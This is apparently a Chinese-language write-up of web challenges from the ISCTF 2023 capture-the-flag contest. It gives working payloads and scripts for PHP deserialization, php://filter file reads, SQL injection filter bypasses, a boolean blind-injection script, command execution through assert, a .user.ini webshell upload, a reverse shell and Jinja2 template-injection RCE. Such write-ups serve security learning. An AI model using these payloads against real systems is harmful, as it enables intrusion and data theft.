web
只会做这些基础的(菜),若有些地方不当还请师傅们多包涵
放一张当时一中午非预期秒了两道题时的最高排名纪念一下()
[圣杯战争!!!]
反序列化、文件包含伪协议
按次序构造pop链,伪协议读取flag即可
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
}
class prepare{
public $release;
}
class saber{
public $weapon= "php://filter/read=convert.base64-encode/resource=flag.php";
}
class summon{
public $Saber;
public $Rider;
}
$b=new saber();
$a=new prepare();
$a->release=$b;
$c=new artifact();
$c->excalibuer=$a;
$d=new summon();
$d->Saber=$c;
echo serialize($d);
O:6:“summon”:2:{s:5:“Saber”;O:8:“artifact”:2:{s:10:“excalibuer”;O:7:“prepare”:1:{s:7:“release”;O:5:“saber”:1:{s:6:“weapon”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;}}s:5:“arrow”;N;}s:5:“Rider”;N;}
[where_is_the_flag]
蚁剑使用、环境变量查看
发现虽然是低权限用户,但可以查看/start.sh脚本,直接查看,发现flag的分散方式:
- /var/www/localhost/htdocs/flag.php
- /flag2
- 环境变量FLAG(因为使用了export加载的)
[绕进你的心里]
md5绕过、intval报错回1、preg_match正则回溯
只有pan_gu被string强转。
所以第一个md5 if判断直接数组绕过
第二个intval if判断传错误的变量类型(数组),返回值是1,绕过
第三层preg_match检查ISCTF的连续存在,且是被强转为string、且是is正则,那么只能正则回溯了
from requests import post
data = {"pan_gu": "a" * 1000000 + "2023ISCTF"}
url = 'http://43.249.195.138:20205/?hongmeng[]=a&shennong[]=2&zhurong[]=3'
res = post(url=url, data=data)
print(res.text)
通俗说就是让preg_match检查1000000次开头的a,从而略过了对后面的检查
详见 p神博客
[easy_website]
测出sql注入,抓包接着测:
发现对参数进行了url编码,那么空格就不能用
测了几个payload发现union select这里有问题,报错说错误的是’database()#',那么为什么不是我输入的完整的语句,接着测:
同理可以发现union和select被替换成空了,那就好说了,双写绕过即可
成功绕过,当前库名user
接着爆表:
发现没有infomation_schema表
那就用mysql.innodb_table_stats表查(该表可理解为没有列名的infomation_schema表)
想起之前做过的 [SWPU2019]Web1,按着payload注就好了
payload:
'/**/uniunionon/**/selselectect/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='users'#
'/**/uniunionon/**/selselectect/**/group_concat(c)/**/from/**/(selselectect/**/1,2,3/**/as/**/c/**/uniunionon/**/selselectect/**/*/**/from/**/users)as/**/tb#
列数不对,手动多测几个发现是列数2,改as c的位置,测出flag在第二列
[wafr]
转义绕过preg_match、通配符?使用
assert同eval
payload:
code=system(‘\c\a\t+/f\l\a\ggggggg???’)
注意:system中必须加引号,否则不读空格;必须是单引号,双引号无回显
[ez_ini]
nginx解析漏洞、文件包含伪协议
简单测试:
发现不同往常的ban掉了"<",这使得写入php代码变得困难
根据题目提示ini联想到nginx解析漏洞,传.user.ini进行文件包含
非预期
(该方法来自另一位师傅)
直接包含/flag,意外的碰对了
预期
跟以往思路一样,还是传马,然后包含进已有的upload.php
难点无非就在写马的时候<被过滤了,但是auto_prepend_file参数是在进行文件包含,猜测可以使用伪协议
思路:上传经过base64编码的一句话木马,在ini文件中以decode方式包含马,即可绕过限制
刷新次页面,蚁剑连接:
(这里重开了个环境)
[webinclude]
备份文件泄露、文件包含
function string_to_int_array(str){
const intArr = [];
for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);
const partA = Math.floor(charcode / 26);
const partB = charcode % 26;
intArr.push(partA);
intArr.push(partB);
}
return intArr;
}
function int_array_to_text(int_array){
let txt = '';
for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}
return txt;
}
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}
定义了两个函数:字符串转数组、数组转字符串
对parameter进行两次这两种操作,结果与dxdydxdudxdtdxeadxekdxea比较
自己写了个逆脚本(菜):
function string_to_int_array(text) {
let int_array = [];
for(let i = 0; i < text.length; i++) {
let charCode = text.charCodeAt(i);
int_array.push(charCode - 97);
}
return int_array;
}
function int_array_to_text(intArr) {
let str = '';
for (let i = 0; i < intArr.length; i += 2) {
const partA = intArr[i];
const partB = intArr[i + 1];
const charcode = partA * 26 + partB;
const char = String.fromCharCode(charcode);
str += char;
}
return str;
}
const a='dxdydxdudxdtdxeadxekdxea';
const parameter = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(a))));
console.log(parameter);
找个在线跑js的网页运行:
得到了参数名
玩()()玩的
根据题目提示文件包含,构造payload:
mihoyo=php://filter/read=convert.base64-encode/resource=index.php
行得通,再经过多次尝试,最后的payload:
mihoyo=php://filter/read=convert.base64-encode/resource=flag.php
[fuzz!]
反弹shell
发现没有禁用管道输出符"|",尝试反弹shell。
经过几次尝试发现弹不回来,这时候想起来题目说的fuzz,猛然想到要fuzz的点应该就是shell解释器的类型,所以它应该是没有bash的(怪不得前面测试的时候弹不回来)
但是这里有个点就是它给的初始payload就是/etc/passwd,所以可以查看它用的解释器。即只要让payload被第二个preg_match拦下来即可:
?file=fi
不出意外用的是ash:
payload:
?file=yourvps | ash
(由于个人隐私就不放具体payload了)
同时在vps写个ash的反弹shell即可
[1z_Ssql]
布尔盲注
不管输什么都是用户名或密码错误
发现admin可以用注入登录,且有不一样的回显,可以用来当作判断依据,满足盲注条件,尝试盲注:
可以盲注
预期
接着通过fuzz发现information_schema被ban,union被ban
想起来给了附件,看起来像表名和列名,用bp做个喷洒:
可以看到只有一张表users,其中有user、username、password列
盲注脚本(菜):
import requests
import time
url="http://43.249.195.138:22649/"
result=""
op = ""
for i in range(1,50000):
l=int(0)
r=int(128)
while l<r:
j=(l+r)>>1
payload0={
"username": f"admin' and ascii(substr((select password from users),{i},1))> {j}#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
result =requests.post(url=url,data=payload0)
if ('用户名或密码错误' in result.text):
r=j
else:
l=j+1
op+=chr(l)
print(op)
同理修改username部分跑出其他字段内容:
user和username都是:admin
password:we1come7o1sctf
以这个账号密码登录:
非预期
load_file任意文件读取
测试payload:
admin’ and ascii(substr(select user(),1,1)) < 10000#
是以root身份登录到mysql的,可以load_file读取任意本地文件
还是直接去读/start.sh:
可以看到它把flag写入到了index.php,且泄露出了其绝对路径,直接load_file读:
[恐怖G7人]
jinjia2 ssti、rce
测了下sql注入,没什么结果,它以原样返回
再测试ssti:
确认是ssti,接着测:
确认是jinjia2模板,在测试了几个常用payload后发现可以rce:
payload:
{{ cycler.init.globals.os.popen(‘env’).read() }}